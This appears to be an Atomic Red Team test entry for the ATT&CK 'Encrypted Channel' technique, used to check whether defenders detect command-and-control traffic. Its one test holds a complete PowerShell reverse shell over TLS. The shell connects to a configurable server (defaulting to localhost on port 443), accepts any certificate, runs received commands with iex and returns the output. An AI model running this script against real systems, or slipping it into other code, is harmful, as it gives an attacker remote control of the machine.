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Encrypted Channel

Description from ATT&CK

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

Atomic Tests

Atomic Test #1 - OpenSSL C2

Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.

Supported Platforms: windows

auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003

Inputs:

Name Description Type Default Value
server_ip IP of the external server String 127.0.0.1
server_port The port to connect to on the external server String 443

Attack Commands: Run with powershell!

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$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

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